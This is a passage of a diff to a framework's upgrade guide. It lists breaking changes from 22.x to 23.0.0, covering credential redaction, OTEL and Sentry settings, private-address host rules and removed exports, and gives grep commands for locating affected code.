`retryDecision()` | `attempts` can be `NaN`, infinite, negative or a fraction, or `timeBudgetMs` `NaN` or infinite — typically `Number(process.env.X)` on an unset variable. `X_INVARIANT` before the first try. Parse and default the value before passing it. `attempts: 0` still runs once | +| 9 | `createFlightGate` | `maxConcurrent` or `maxQueued` is `NaN`, infinite, negative or a fraction (`X_INVARIANT` at construction), or `maxConcurrent` is `0` and you expected callers to wait: each is refused with `X_FLIGHT_GATE_OVERLOADED` | +| 10 | `withChildContext({ signal })` | the child's work was meant to survive the request. The child's signal now aborts when the parent's does. Move that work to a job | +| 11 | redaction: logs, audit rows, the error monitor | a test, a log query or an audit reader expects the value of a field named like a credential — `currentPassword`, `mfaSecret`, `resetToken`, `recoveryCode`, `webhookSecret`, `passwordHash`, `tokenHash`, `keyHash`. It reads `[redacted]`. A name ending in `token` (`NPM_TOKEN`, `confirmationToken`), qualified key material (`privateKey`, `AWS_ACCESS_KEY_ID`) and a value embedding a credential (`connectionString`, `databaseUrl`) read `[redacted]` too. Ask `isRedactedKey('')` for any other name. `idempotencyToken`, `continuationToken`, `maxTokens`, `cacheKey` and `code` are unchanged | +| 12 | the Sentry envelope | a monitor rule, alert or saved search reads an error's `meta` key at `extra.`. It is `extra.meta.`. `scope.extra` keys stay at `extra.`, except `fix`, `docs`, `stack`, `requestId` and `actorId`, which the framework's own values now win | +| 13 | `OTEL_EXPORTER_OTLP_TRACES_HEADERS`, `OTEL_EXPORTER_OTLP_METRICS_HEADERS` | a deploy sets either one and also `OTEL_EXPORTER_OTLP_HEADERS`. The per-signal variable was ignored; it now replaces the generic one for that signal. Put every header the signal needs in it, or unset it | +| 14 | `OTEL_TRACES_SAMPLER=parentbased_always_on` | `OTEL_TRACES_SAMPLER_ARG` is also set. The ratio is ignored and every root is sampled. For a ratio: `OTEL_TRACES_SAMPLER=parentbased_traceidratio` | +| 15 | `hostDecision`, every `allowHosts` list | a `'*'` or `'*.suffix'` rule was how a request reached a loopback, private, link-local or metadata address literal. Add the exact rule: `allowHosts: ['*', '127.0.0.1']`. Hostnames are unaffected, including one that resolves inward | +| 16 | `ULTIMATE_CURSOR_SECRET` | a compose file or chart sets it to the empty string. Outside local development the boot is `X_CURSOR_SECRET_DEV`: `x secrets set ULTIMATE_CURSOR_SECRET`. Cursors issued under the empty key stop verifying — clients restart from page one | + +### Not breaking, but you will see it + +| Surface | What changed | +|---|---| +| a union in HTTP coercion | every member is tried: `t.union(t.literal('auto'), t.number)` reads `'12'` as `12`. A string a member accepts as a string is never converted | +| `SchemaError#toJSON()` | carries `retry: 'terminal'`; a `bigint` or a cycle in `meta` no longer throws | +| image errors | a header declaring a zero, negative, fractional or `NaN` size is `X_IMAGE_DECODE_FAILED`, was `X_IMAGE_TOO_LARGE`. A HEIC (`mif1` only) is no longer sniffed as AVIF | +| OTLP export | an endpoint with a query string keeps it after the signal path; a `NaN` or infinite attribute is dropped | +| `X_VERIFY_STEP_TIMEOUT` | names the test file still running and its `fix:` runs it; `--json` findings gain `meta` | +| `fix:` lines | `X_REGISTRAR_MISSING` / `X_REGISTRAR_CONFLICT` name the owning package; `X_SECRETS_KEY_INVALID` names the key file when the file is what is wrong | + +### Where the sites are + +```sh +grep -rnE "\.default\(" apps packages --include=*.ts --include=*.tsx +grep -rnE "retry\(|retryDecision\(|createFlightGate\(|withChildContext\(|allowHosts" apps packages --include=*.ts --include=*.tsx +grep -rnE "LOG_LEVEL|ULTIMATE_CURSOR_SECRET|OTEL_(EXPORTER_OTLP_(TRACES|METRICS)_HEADERS|TRACES_SAMPLER)" docker .github apps packages +grep -rnE "(ssl|enabled|expose): *process\.env" apps packages --include=*.ts +``` + +The `typecheck` step finds none of these — every entry is a value, not a type. A typed +`app.config.ts` already refused most of entry 6 at compile time; the ones it did not are +`'/'`-less paths, empty lists and a locale spelled twice. Entries 4 and 6 throw at the first import; +7 and 16 at boot; 8 and 9 where the call is made. Entries 1–3, 5, 10 and 11 need the unit, +contract and e2e suites; 12–15 need a read of the deploy environment and the monitor. + ## 22.x → 23.0.0, entry by entry -**Sixty-six entries so far** — 23.0.0 is in flight, and this section tracks `CHANGELOG.md`'s -`[Unreleased]` entries in their order, which is the order an existing app meets them. `As of -2026-10` every slice of the plan has landed, the admin's detail, form, action and jobs screens -included. +**Sixty-six entries**, the `23.0.0` section of `CHANGELOG.md`, in its order — which is the order +an existing app meets them. ### What changed for an agent @@ -237,7 +304,7 @@ path. | 9 | `ChangeOp` | you `switch` over it exhaustively. Add `case 'truncate':` — a rowless change: a `TRUNCATE` empties the affected live windows and starts a new epoch on every open channel topic | | 10 | `Result`, `Ok`, `Err`, `ok`, `err`, `map`, `mapErr`, `isOk`, `isErr`, `tryCatch`, `unwrap`, `unwrapOr` from `@ultimat3/core` | you import any of them. Gone: `throw` an `UltimateError` and `try`/`catch` it | | 11 | `X_USERS_TABLE`, `X_SESSIONS_TABLE`, `X_ACCOUNTS_TABLE`, `X_VERIFICATIONS_TABLE`, `X_API_KEYS_TABLE`, `X_USERS_MIGRATION_1_3` from `@ultimat3/auth` | you import them, or pasted them into a migration. Delete both: every boot applies `AUTH_TABLES` (the 1.3 upgrade included, as `add column if not exists`) | -| 12 | internals removed from package barrels | you import a runtime value that no other package used — `CHANGELOG.md`'s `[Unreleased]` lists them per package (auth, ui, core, http, entity, query, mcp, ai, mail, notify, pwa, render, scraping, manifest). None is an error class, a code table or a documented API. Copy the constant into your app, or use the documented API it served | +| 12 | internals removed from package barrels | you import a runtime value that no other package used — `CHANGELOG.md`'s `22.0.0` section lists them per package (auth, ui, core, http, entity, query, mcp, ai, mail, notify, pwa, render, scraping, manifest). None is an error class, a code table or a documented API. Copy the constant into your app, or use the documented API it served | | 13 | the e2e driver: `installE2eDriver`, `e2eFixtures`, `startE2eApp`, `e2eApp`, `e2eBaseUrl`, `e2eBrowser`, `openE2eBrowser`, `cdpConnect`, `cdpE2eTab`, `findChrome`, `launchChrome`, the `Cdp*Error` / `E2e*Error` classes and their types, from `@ultimat3/cli` | you import any of them. Import them from `@ultimat3/testing`; the test preload is `@ultimat3/testing/e2e-preload`. `FRAMEWORK_SCRIPTS` and `FRAMEWORK_INLINE_SCRIPTS` stay on `@ultimat3/cli`. The `X_E2E_*` / `X_CDP_*` codes are unchanged | | 14 | `entityRow`, `camel` from `@ultimat3/realtime/server` | you decode WAL tuples yourself. `entityRow(physical)` → `entityRow(relation, physical, 'before' \| 'after')`; it decodes through the registered entity (`decodeRow`, `.column()` renames and money included) and refuses a table with no registered entity (`X_REPLICATION_PROTOCOL`). `camel` is gone | | 15 | a `sync` role on a real database | it has no reachable change feed. It refuses to boot with `X_REALTIME_TOPOLOGY`; it used to come up healthy and deliver nothing. Set `NATS_URL` on `web`, `sync` and one `replicator`, or leave `sync` off. (`x dev --role sync,replicator` runs both in one process, for development.) The scaffolded chart (`roles.sync.enabled: false`) and Compose file (`replicas: 0`) ship `sync` off, with the enable recipe beside the switch; a chart or compose file you copied earlier keeps whatever it had |